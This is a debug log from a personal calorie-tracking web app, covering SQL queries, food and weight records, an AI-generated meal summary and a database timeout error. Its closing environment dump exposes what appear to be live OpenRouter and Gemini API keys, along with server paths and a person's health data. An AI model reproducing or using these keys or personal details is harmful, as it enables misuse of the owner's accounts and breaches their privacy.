    intake_date: '2025-12-18T18:30:00.000Z',
    item_name: 'Whey Protein',
    calories: 120,
    protein_gm: 27,
    carbs_gm: 3,
    fat_gm: 1,
    quantity: '1 scoop (27g protein)',
    replacements: 'Casein protein (slower digestion, good for muscle repair overnight),Plant-based protein (pea, rice, soy - often lower in calories and fat, but check protein content)',
    created_at: '2025-12-18T23:59:32.000Z',
    skip_level: 1,
    skip_reason: 'Excellent for muscle development, high in protein, low in carbs and fat. Ideal for your goals.'
  }
]
2025-12-19T05:40:14.408Z server-connect:app Executing action step setvalue
2025-12-19T05:40:14.408Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-19T05:40:14.408Z server-connect:output var_total: 216
2025-12-19T05:40:14.409Z server-connect:app Executing action step setvalue
2025-12-19T05:40:14.409Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-19T05:40:14.409Z server-connect:output var_consumed: 9
2025-12-19T05:40:14.409Z server-connect:app Executing action step setvalue
2025-12-19T05:40:14.409Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-19T05:40:14.409Z server-connect:output var_deficit: 2184
2025-12-19T05:40:14.409Z server-connect:app Executing action step custom
2025-12-19T05:40:14.409Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-19T05:40:14.410Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  },
  {
    intake_date: 2025-12-12T18:30:00.000Z,
    total_consumed: '1882',
    surplus_or_deficit: '518',
    status_flag: 1
  },
  {
    intake_date: 2025-12-13T18:30:00.000Z,
    total_consumed: '404',
    surplus_or_deficit: '1996',
    status_flag: 2
  },
  {
    intake_date: 2025-12-14T18:30:00.000Z,
    total_consumed: '2521',
    surplus_or_deficit: '-121',
    status_flag: 0
  },
  {
    intake_date: 2025-12-15T18:30:00.000Z,
    total_consumed: '2030',
    surplus_or_deficit: '370',
    status_flag: 1
  },
  {
    intake_date: 2025-12-16T18:30:00.000Z,
    total_consumed: '2088',
    surplus_or_deficit: '312',
    status_flag: 1
  },
  {
    intake_date: 2025-12-17T18:30:00.000Z,
    total_consumed: '1668',
    surplus_or_deficit: '732',
    status_flag: 2
  },
  {
    intake_date: 2025-12-18T18:30:00.000Z,
    total_consumed: '216',
    surplus_or_deficit: '2184',
    status_flag: 2
  }
]
2025-12-19T05:40:15.181Z server-connect:app Executing action step identify
2025-12-19T05:40:15.182Z server-connect:app options: { provider: 'security' }
2025-12-19T05:40:15.182Z server-connect:output identity: 1
2025-12-19T05:40:15.909Z server-connect:router Serving serverConnect /api/gemini/calculate-health-summary
2025-12-19T05:40:15.910Z server-connect:app Executing action step identify
2025-12-19T05:40:15.910Z server-connect:app options: { provider: 'security' }
2025-12-19T05:40:15.910Z server-connect:output identity: 1
2025-12-19T05:40:15.910Z server-connect:app Executing action step restrict
2025-12-19T05:40:15.910Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-19T05:40:15.910Z server-connect:output restrict: undefined
2025-12-19T05:40:15.910Z server-connect:app Executing action step select
2025-12-19T05:40:15.910Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `item_name`, `calories`, `protein_gm`, `carbs_gm`, `fat_gm`, `quantity` from `calories_tracking` where `calories_tracking`.`intake_date` = ?'
  }
}
2025-12-19T05:40:15.911Z server-connect:output items_consumed_today: [
  {
    id: 447,
    item_name: 'Walnut',
    calories: 26,
    protein_gm: 1,
    carbs_gm: 1,
    fat_gm: 3,
    quantity: '2 pieces'
  },
  {
    id: 448,
    item_name: 'Pre-workout',
    calories: 10,
    protein_gm: 0,
    carbs_gm: 2,
    fat_gm: 0,
    quantity: '1 scoop'
  },
  {
    id: 449,
    item_name: 'Milk Tea (without sugar)',
    calories: 60,
    protein_gm: 3,
    carbs_gm: 5,
    fat_gm: 3,
    quantity: '100 ml'
  },
  {
    id: 450,
    item_name: 'Whey Protein',
    calories: 120,
    protein_gm: 27,
    carbs_gm: 3,
    fat_gm: 1,
    quantity: '1 scoop (27g protein)'
  }
]
2025-12-19T05:40:15.911Z server-connect:app Executing action step paged
2025-12-19T05:40:15.911Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'health_weight_trackor' },
    joins: [],
    orders: [ [Object] ],
    query: 'select `date`, `weight` from `health_weight_trackor` order by `date` DESC limit ?',
    limit: 15
  }
}
2025-12-19T05:40:15.912Z server-connect:output weight_logs: {
  offset: 0,
  limit: 15,
  total: 15,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    { date: '2025-12-18T18:30:00.000Z', weight: '70.50' },
    { date: '2025-12-17T18:30:00.000Z', weight: '70.30' },
    { date: '2025-12-16T18:30:00.000Z', weight: '70.15' },
    { date: '2025-12-15T18:30:00.000Z', weight: '70.30' },
    { date: '2025-12-11T18:30:00.000Z', weight: '70.30' },
    { date: '2025-12-09T18:30:00.000Z', weight: '70.95' },
    { date: '2025-12-08T18:30:00.000Z', weight: '71.15' },
    { date: '2025-12-08T18:30:00.000Z', weight: '71.15' },
    { date: '2025-12-05T18:30:00.000Z', weight: '72.40' },
    { date: '2025-12-04T18:30:00.000Z', weight: '71.20' },
    { date: '2025-12-03T18:30:00.000Z', weight: '71.40' },
    { date: '2025-12-02T18:30:00.000Z', weight: '70.80' },
    { date: '2025-12-01T18:30:00.000Z', weight: '71.40' },
    { date: '2025-11-30T18:30:00.000Z', weight: '72.40' },
    { date: '2025-11-28T18:30:00.000Z', weight: '71.80' }
  ]
}
2025-12-19T05:40:15.912Z server-connect:app Executing action step run
2025-12-19T05:40:15.912Z server-connect:app options: {
  code: 'function jsonToMarkdown(data, title = "Report", level = 2) {\n' +
    '  let md = "";\n' +
    '\n' +
    '  if (level === 2) {\n' +
    '    md += `## ${title}\\n\\n`;\n' +
    '  }\n' +
    '\n' +
    '  if (Array.isArray(data)) {\n' +
    '    if (!data.length) return "_No data_\\n\\n";\n' +
    '\n' +
    '    // Array of objects → table\n' +
    '    if (typeof data[0] === "object" && data[0] !== null) {\n' +
    '      const headers = Object.keys(data[0]);\n' +
    '\n' +
    '      md += `| ${headers.join(" | ")} |\\n`;\n' +
    '      md += `| ${headers.map(() => "---").join(" | ")} |\\n`;\n' +
    '\n' +
    '      data.forEach(row => {\n' +
    '        md += `| ${headers.map(h => row[h] ?? "").join(" | ")} |\\n`;\n' +
    '      });\n' +
    '\n' +
    '      md += "\\n";\n' +
    '      return md;\n' +
    '    }\n' +
    '\n' +
    '    // Array of primitives\n' +
    '    return data.map(v => `- ${v}`).join("\\n") + "\\n\\n";\n' +
    '  }\n' +
    '\n' +
    '  if (typeof data === "object" && data !== null) {\n' +
    '    for (const key in data) {\n' +
    '      const value = data[key];\n' +
    '      const label = key\n' +
    '        .replace(/_/g, " ")\n' +
    '        .replace(/([a-z])([A-Z])/g, "$1 $2")\n' +
    '        .replace(/\\b\\w/g, l => l.toUpperCase());\n' +
    '\n' +
    '      if (typeof value === "object") {\n' +
    '        md += `${"#".repeat(level)} ${label}\\n\\n`;\n' +
    '        md += jsonToMarkdown(value, "", level + 1);\n' +
    '      } else {\n' +
    '        md += `- **${label}:** ${value}\\n`;\n' +
    '      }\n' +
    '    }\n' +
    '    md += "\\n";\n' +
    '  }\n' +
    '\n' +
    '  return md;\n' +
    '}\n' +
    '\n' +
    'const md = jsonToMarkdown(dynamicJson, "Items consumed today");\n' +
    'return md;',
  data: { dynamicJson: '{{items_consumed_today}}' },
  show_errors: true,
  throw_errors: true
}
2025-12-19T05:40:15.913Z server-connect:output items_consumed: '## Items consumed today\n' +
  '\n' +
  '| id | item_name | calories | protein_gm | carbs_gm | fat_gm | quantity |\n' +
  '| --- | --- | --- | --- | --- | --- | --- |\n' +
  '| 447 | Walnut | 26 | 1 | 1 | 3 | 2 pieces |\n' +
  '| 448 | Pre-workout | 10 | 0 | 2 | 0 | 1 scoop |\n' +
  '| 449 | Milk Tea (without sugar) | 60 | 3 | 5 | 3 | 100 ml |\n' +
  '| 450 | Whey Protein | 120 | 27 | 3 | 1 | 1 scoop (27g protein) |\n' +
  '\n'
2025-12-19T05:40:15.913Z server-connect:app Executing action step run
2025-12-19T05:40:15.913Z server-connect:app options: {
  code: 'function jsonToMarkdown(data, title = "Report", level = 2) {\n' +
    '  let md = "";\n' +
    '\n' +
    '  if (level === 2) {\n' +
    '    md += `## ${title}\\n\\n`;\n' +
    '  }\n' +
    '\n' +
    '  if (Array.isArray(data)) {\n' +
    '    if (!data.length) return "_No data_\\n\\n";\n' +
    '\n' +
    '    // Array of objects → table\n' +
    '    if (typeof data[0] === "object" && data[0] !== null) {\n' +
    '      const headers = Object.keys(data[0]);\n' +
    '\n' +
    '      md += `| ${headers.join(" | ")} |\\n`;\n' +
    '      md += `| ${headers.map(() => "---").join(" | ")} |\\n`;\n' +
    '\n' +
    '      data.forEach(row => {\n' +
    '        md += `| ${headers.map(h => row[h] ?? "").join(" | ")} |\\n`;\n' +
    '      });\n' +
    '\n' +
    '      md += "\\n";\n' +
    '      return md;\n' +
    '    }\n' +
    '\n' +
    '    // Array of primitives\n' +
    '    return data.map(v => `- ${v}`).join("\\n") + "\\n\\n";\n' +
    '  }\n' +
    '\n' +
    '  if (typeof data === "object" && data !== null) {\n' +
    '    for (const key in data) {\n' +
    '      const value = data[key];\n' +
    '      const label = key\n' +
    '        .replace(/_/g, " ")\n' +
    '        .replace(/([a-z])([A-Z])/g, "$1 $2")\n' +
    '        .replace(/\\b\\w/g, l => l.toUpperCase());\n' +
    '\n' +
    '      if (typeof value === "object") {\n' +
    '        md += `${"#".repeat(level)} ${label}\\n\\n`;\n' +
    '        md += jsonToMarkdown(value, "", level + 1);\n' +
    '      } else {\n' +
    '        md += `- **${label}:** ${value}\\n`;\n' +
    '      }\n' +
    '    }\n' +
    '    md += "\\n";\n' +
    '  }\n' +
    '\n' +
    '  return md;\n' +
    '}\n' +
    '\n' +
    'const md = jsonToMarkdown(dynamicJson, "Weight Logs");\n' +
    'return md;',
  data: { dynamicJson: '{{weight_logs.data}}' },
  show_errors: true,
  throw_errors: true
}
2025-12-19T05:40:15.914Z server-connect:output weight_logs: '## Weight Logs\n' +
  '\n' +
  '| date | weight |\n' +
  '| --- | --- |\n' +
  '| 2025-12-18T18:30:00.000Z | 70.50 |\n' +
  '| 2025-12-17T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-16T18:30:00.000Z | 70.15 |\n' +
  '| 2025-12-15T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-11T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-09T18:30:00.000Z | 70.95 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-05T18:30:00.000Z | 72.40 |\n' +
  '| 2025-12-04T18:30:00.000Z | 71.20 |\n' +
  '| 2025-12-03T18:30:00.000Z | 71.40 |\n' +
  '| 2025-12-02T18:30:00.000Z | 70.80 |\n' +
  '| 2025-12-01T18:30:00.000Z | 71.40 |\n' +
  '| 2025-11-30T18:30:00.000Z | 72.40 |\n' +
  '| 2025-11-28T18:30:00.000Z | 71.80 |\n' +
  '\n'
2025-12-19T05:40:15.914Z server-connect:app Executing action step setvalue
2025-12-19T05:40:15.914Z server-connect:app options: { key: 'raw_value', value: "{{items_consumed+' '+weight_logs}}" }
2025-12-19T05:40:15.914Z server-connect:output raw_value: '## Items consumed today\n' +
  '\n' +
  '| id | item_name | calories | protein_gm | carbs_gm | fat_gm | quantity |\n' +
  '| --- | --- | --- | --- | --- | --- | --- |\n' +
  '| 447 | Walnut | 26 | 1 | 1 | 3 | 2 pieces |\n' +
  '| 448 | Pre-workout | 10 | 0 | 2 | 0 | 1 scoop |\n' +
  '| 449 | Milk Tea (without sugar) | 60 | 3 | 5 | 3 | 100 ml |\n' +
  '| 450 | Whey Protein | 120 | 27 | 3 | 1 | 1 scoop (27g protein) |\n' +
  '\n' +
  ' ## Weight Logs\n' +
  '\n' +
  '| date | weight |\n' +
  '| --- | --- |\n' +
  '| 2025-12-18T18:30:00.000Z | 70.50 |\n' +
  '| 2025-12-17T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-16T18:30:00.000Z | 70.15 |\n' +
  '| 2025-12-15T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-11T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-09T18:30:00.000Z | 70.95 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-05T18:30:00.000Z | 72.40 |\n' +
  '| 2025-12-04T18:30:00.000Z | 71.20 |\n' +
  '| 2025-12-03T18:30:00.000Z | 71.40 |\n' +
  '| 2025-12-02T18:30:00.000Z | 70.80 |\n' +
  '| 2025-12-01T18:30:00.000Z | 71.40 |\n' +
  '| 2025-11-30T18:30:00.000Z | 72.40 |\n' +
  '| 2025-11-28T18:30:00.000Z | 71.80 |\n' +
  '\n'
2025-12-19T05:40:15.914Z server-connect:app Executing action step processWithGemini
2025-12-19T05:40:15.914Z server-connect:app options: {
  request_type: 'meal_summary',
  raw_text: '{{raw_value}}',
  socket_id: '{{$_GET.so_id}}'
}
2025-12-19T05:40:17.290Z server-connect:output health_summary: {
  summary: "Today's food intake appears to be very light, with a focus on protein supplementation. While this aligns with muscle development goals, the overall volume and variety of food seem insufficient for sustained energy and recovery. The recent weight trend shows a gradual decrease, suggesting the current approach is leading towards fat loss.",
  rating: 4,
  good_points: [
    'Inclusion of whey protein to support muscle recovery and development.',
    'Pre-workout supplement for enhanced gym performance.',
    'Walnuts provide healthy fats and some micronutrients.'
  ],
  bad_points: [
    'Extremely limited food variety and overall quantity consumed.',
    'Lack of substantial meals throughout the day.',
    'Potential for inadequate micronutrient intake due to limited food sources.',
    'Milk tea, even without sugar, contributes some calories and carbohydrates.'
  ],
  suggestions: [
    'Incorporate more whole foods, including complex carbohydrates and a wider range of vegetables and fruits.',
    'Ensure adequate protein intake from diverse sources beyond just whey.',
    'Plan for balanced meals spread throughout the day to support energy levels and recovery.',
    'Increase overall food volume to meet nutritional needs for muscle development and fat loss.'
  ],
  predicted_weight_trend: 'gradual loss',
  predicted_weight: 70.2
}
2025-12-19T05:40:17.291Z server-connect:app Executing action step condition
2025-12-19T05:40:17.291Z server-connect:app options: {
  if: '{{health_summary.rating>0}}',
  then: { steps: [ [Object], [Object] ] }
}
2025-12-19T05:40:17.291Z server-connect:app Executing action step delete
2025-12-19T05:40:17.291Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'delete',
    table: 'health_summary',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'delete from `health_summary` where `date` = ?',
    params: [ [Object] ]
  }
}
2025-12-19T05:40:17.292Z server-connect:output delete: { affected: 1 }
2025-12-19T05:40:17.292Z server-connect:app Executing action step insert
2025-12-19T05:40:17.292Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [ [Object], [Object] ],
    table: 'health_summary',
    returning: 'id',
    query: 'insert into `health_summary` (`date`, `summary`) values (?, ?)',
    params: [ [Object], [Object] ]
  }
}
2025-12-19T05:40:17.293Z server-connect:output insert: { affected: 1, identity: 40 }
2025-12-19T05:40:17.293Z server-connect:output condition: undefined
2025-12-19T05:40:17.498Z server-connect:router Serving serverConnect /api/gemini/get-health-summary
2025-12-19T05:40:17.498Z server-connect:app Executing action step identify
2025-12-19T05:40:17.498Z server-connect:app options: { provider: 'security' }
2025-12-19T05:40:17.498Z server-connect:output identity: 1
2025-12-19T05:40:17.498Z server-connect:app Executing action step restrict
2025-12-19T05:40:17.498Z server-connect:app options: { provider: 'security' }
2025-12-19T05:40:17.498Z server-connect:output restrict: undefined
2025-12-19T05:40:17.498Z server-connect:app Executing action step single
2025-12-19T05:40:17.498Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'health_summary' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `summary`, `date` from `health_summary` where `health_summary`.`date` = ?'
  }
}
2025-12-19T05:40:17.499Z server-connect:output summary: {
  summary: {
    rating: 4,
    summary: "Today's food intake appears to be very light, with a focus on protein supplementation. While this aligns with muscle development goals, the overall volume and variety of food seem insufficient for sustained energy and recovery. The recent weight trend shows a gradual decrease, suggesting the current approach is leading towards fat loss.",
    bad_points: [
      'Extremely limited food variety and overall quantity consumed.',
      'Lack of substantial meals throughout the day.',
      'Potential for inadequate micronutrient intake due to limited food sources.',
      'Milk tea, even without sugar, contributes some calories and carbohydrates.'
    ],
    good_points: [
      'Inclusion of whey protein to support muscle recovery and development.',
      'Pre-workout supplement for enhanced gym performance.',
      'Walnuts provide healthy fats and some micronutrients.'
    ],
    suggestions: [
      'Incorporate more whole foods, including complex carbohydrates and a wider range of vegetables and fruits.',
      'Ensure adequate protein intake from diverse sources beyond just whey.',
      'Plan for balanced meals spread throughout the day to support energy levels and recovery.',
      'Increase overall food volume to meet nutritional needs for muscle development and fat loss.'
    ],
    predicted_weight: 70.2,
    predicted_weight_trend: 'gradual loss'
  },
  date: '2025-12-18T18:30:00.000Z'
}
2025-12-19T05:48:48.232Z server-connect:app Executing action step identify
2025-12-19T05:48:48.232Z server-connect:app options: { provider: 'security' }
2025-12-19T05:48:48.232Z server-connect:output identity: 1
2025-12-19T05:48:50.275Z server-connect:app Executing action step identify
2025-12-19T05:48:50.275Z server-connect:app options: { provider: 'security' }
2025-12-19T05:48:50.275Z server-connect:output identity: 1
2025-12-19T05:49:28.598Z server-connect:app Executing action step identify
2025-12-19T05:49:28.598Z server-connect:app options: { provider: 'security' }
2025-12-19T05:49:28.598Z server-connect:output identity: 1
2025-12-19T05:49:30.452Z server-connect:app Executing action step identify
2025-12-19T05:49:30.452Z server-connect:app options: { provider: 'security' }
2025-12-19T05:49:30.453Z server-connect:output identity: 1
2025-12-19T05:52:33.869Z server-connect:app Executing action step identify
2025-12-19T05:52:33.869Z server-connect:app options: { provider: 'security' }
2025-12-19T05:52:33.869Z server-connect:output identity: 1
2025-12-19T05:52:35.993Z server-connect:app Executing action step identify
2025-12-19T05:52:35.993Z server-connect:app options: { provider: 'security' }
2025-12-19T05:52:35.993Z server-connect:output identity: 1
2025-12-19T05:55:21.976Z server-connect:router Serving serverConnect /api/gemini/calculate-calorie
2025-12-19T05:55:21.977Z server-connect:app Executing action step identify
2025-12-19T05:55:21.977Z server-connect:app options: { provider: 'security' }
2025-12-19T05:55:21.977Z server-connect:output identity: 1
2025-12-19T05:55:21.977Z server-connect:app Executing action step restrict
2025-12-19T05:55:21.977Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-19T05:55:21.979Z server-connect:output restrict: undefined
2025-12-19T05:55:21.979Z server-connect:app Executing action step processWithGemini
2025-12-19T05:55:21.979Z server-connect:app options: { request_type: 'calories', raw_text: '{{$_POST.calorie_query}}' }
2025-12-19T05:55:23.815Z server-connect:output calculate_calorie: {
  items: [
    {
      food_name: 'Milk Tea (without sugar)',
      quantity: '100ml',
      calories_consumed: 30,
      total_calories: 30,
      protein: 3.2,
      carbs: 4.7,
      fat: 0.9,
      lower_calorie_alternatives: [Array],
      skip_level: 1,
      skip_reason: 'Generally good, especially without sugar. Provides some protein and hydration.'
    }
  ],
  total_macros: {
    protein: { value: 3.2, unit: 'g' },
    carbs: { value: 4.7, unit: 'g' },
    fat: { value: 0.9, unit: 'g' }
  }
}
2025-12-19T06:15:25.241Z server-connect:app Executing action step identify
2025-12-19T06:15:25.241Z server-connect:app options: { provider: 'security' }
2025-12-19T06:15:25.241Z server-connect:output identity: 1
2025-12-19T06:15:28.599Z server-connect:app Executing action step identify
2025-12-19T06:15:28.599Z server-connect:app options: { provider: 'security' }
2025-12-19T06:15:28.599Z server-connect:output identity: 1
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-19 06:30:13' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-19 06:30:13' as DATETIME)"
}
2025-12-19T06:31:13.920Z server-connect:router Serving serverConnect /api/health/manage-calories
2025-12-19T06:31:13.921Z server-connect:app Executing action step identify
2025-12-19T06:31:13.921Z server-connect:app options: { provider: 'security' }
2025-12-19T06:31:13.921Z server-connect:output identity: 1
2025-12-19T06:31:13.921Z server-connect:app Executing action step restrict
2025-12-19T06:31:13.921Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-19T06:31:13.923Z server-connect:output restrict: undefined
2025-12-19T06:31:13.923Z server-connect:app Executing action step condition
2025-12-19T06:31:13.923Z server-connect:app options: {
  if: '{{$_POST.items.length}}',
  then: {
    steps: {
      name: 'repeat',
      module: 'core',
      action: 'repeat',
      options: [Object],
      output: true,
      meta: [Array],
      outputType: 'array'
    }
  }
}
2025-12-19T06:31:13.923Z server-connect:app Executing action step repeat
2025-12-19T06:31:13.923Z server-connect:app options: {
  repeat: '{{$_POST.items}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'calories',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array]
    }
  }
}
2025-12-19T06:31:13.923Z server-connect:app Executing action step insert
2025-12-19T06:31:13.923Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    table: 'calories_tracking',
    returning: 'id',
    query: 'insert into `calories_tracking` (`calories`, `carbs_gm`, `created_at`, `fat_gm`, `intake_date`, `item_name`, `protein_gm`, `quantity`, `replacements`, `skip_level`, `skip_reason`) values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2025-12-19T06:31:13.925Z server-connect:output calories: { affected: 1, identity: 451 }
2025-12-19T06:31:13.925Z server-connect:output repeat: [ {} ]
2025-12-19T06:31:13.925Z server-connect:output condition: undefined
2025-12-19T06:31:14.146Z server-connect:router Serving templateView /calorie-tracker
2025-12-19T06:31:14.146Z server-connect:app Executing action step identify
2025-12-19T06:31:14.146Z server-connect:app options: { provider: 'security' }
2025-12-19T06:31:14.146Z server-connect:output identity: 1
2025-12-19T06:31:14.146Z server-connect:app Executing action step restrict
2025-12-19T06:31:14.146Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-19T06:31:14.146Z server-connect:output restrict: undefined
2025-12-19T06:31:14.147Z server-connect:router Render template layouts/main
2025-12-19T06:31:14.147Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"macOS"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    referer: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"1505c-6XZ48wk/QlRgtGeezmrNALUh0rI"',
    priority: 'u=0, i',
